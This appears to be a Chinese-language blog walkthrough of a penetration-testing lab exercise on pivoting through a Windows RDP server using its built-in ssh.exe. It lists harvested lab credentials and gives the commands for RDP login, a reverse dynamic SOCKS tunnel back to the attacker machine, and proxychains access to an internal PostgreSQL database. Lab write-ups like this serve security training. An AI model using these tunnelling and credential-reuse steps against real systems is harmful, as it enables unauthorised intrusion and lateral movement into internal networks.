Windows 連接埠轉發 - SSH.exe
Windows 連接埠轉發 - SSH.exe
Windows 自 1709 (Windows 10 Fall Creators Update) 以後的版本預設已在系統內建了相關 SSH 的程式，路徑在 %systemdrive%\Windows\System32\OpenSSH\* 底下
例如 scp.exe、sftp.exe、ssh.exe、etc...
可以直接在 command 底下使用者些指令，例如傳送檔案到某一台 Linux Documents 目錄下
指令 scp "D:\test.txt" kali@10.96.249.77:~/Documents/
可以看到正確的傳送過去
透過這個簡單的演示告知我們在現在化的 Windows 機器上我們可以更方便的直接使用這些指令而不需要另外安裝相關程式，接下來我們將透過一台對外僅開放 3389 RDP 的 Windows 伺服器與前面所學的遠端動態連接 Port 的方式來利用 Windows Server
事實上沒有甚麼不一樣，僅是跳板的伺服器換成了 Windows 伺服器而已
靶機練習環境
攻擊機 192.168.45.250
靶機 192.168.242.64、10.4.242.215
rustscan 後發現我們可以進入的第一台 RDP 伺服器是 192.168.242.64
延續上幾節曾拿過的密碼如下，依據名稱來看優先使用第二個來測試 RDP 登入
- hr_admin : Welcome1234
- rdp_admin : P@ssw0rd!
- database_admin : sqlpass123
指令 xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.242.64
順利登入如下，並看到該台 Windows 有另外一隻腳 10.4.242.64
所以要去到 10.4.242.0/24 就是要透過該台 Windows 去存取
透過 where ssh 指令查看與確認該台 Windows 伺服器有支援 SSH.exe
再透過 ssh.exe -V 確認一下版本，要高於 7.6 的版本才有支援動態連接 Port 轉發
可以看到版本是 8.1
指令與之前在 Linux 上使用的一樣，我們開啟 Windows 端的 9998 Port
指令 ssh -N -R 9998 kali@192.168.45.250
攻擊機上確認 9998 Port 有正確運行
由於是動態連接 Port，所以要確認攻擊機上的 Proxychain SOCKS 設定檔有設定正確
沒問題後就一樣使用 proxychains 來連接內網的 10.4.242.215 DB Server 了
指令 proxychains psql -h 10.4.242.215 -U postgres
密碼就是之前從 Web Server 上看到寫在後端資料庫連接的密碼
帳號 : postgres、密碼 : D@t4basePassw0rd!
連接到 postgre SQL server 了
\l 列舉資料庫也可正常實現
練習 2
存取 PGDATABASE01 上的連接埠 4141 Port
將 /umbraco/ssh_exe_exercise_client.bin 二進位檔案從 MULTISERVER03 上的 Web 伺服器下載
並透過連接埠轉送在 PGDATABASE01 上的連接埠 4141 上執行它取得標誌
注意：用於建置 ssh_exe_exercise_client.bin 檔案可以從/umbraco/client_source.zip 下載
上面 rustscan 列舉可以知道 Web Server 跑在 80 Port 上，所以先下載這兩個檔案
http://192.168.242.64/umbraco/ssh_exe_exercise_client.bin
http://192.168.242.64/umbraco/client_source.zip
將檔案解壓縮放到建立的 1841 資料夾路徑下
改一下權限讓 ssh_exe_exercise_client.bin 成為可執行檔
chmod 777 ssh_exe_exercise_client.bin
這次綁定 9997 Port 到 Kali 上
ssh -N -R 9997 kali@192.168.45.250
kali 9997 Port 有 listen 了
記得 proxychain 的設定檔要改一下為 9997 Port
直接執行檔案吧
└─$ proxychains ./ssh_exe_exercise_client.bin -p 4141 -i 10.4.242.215
留言
張貼留言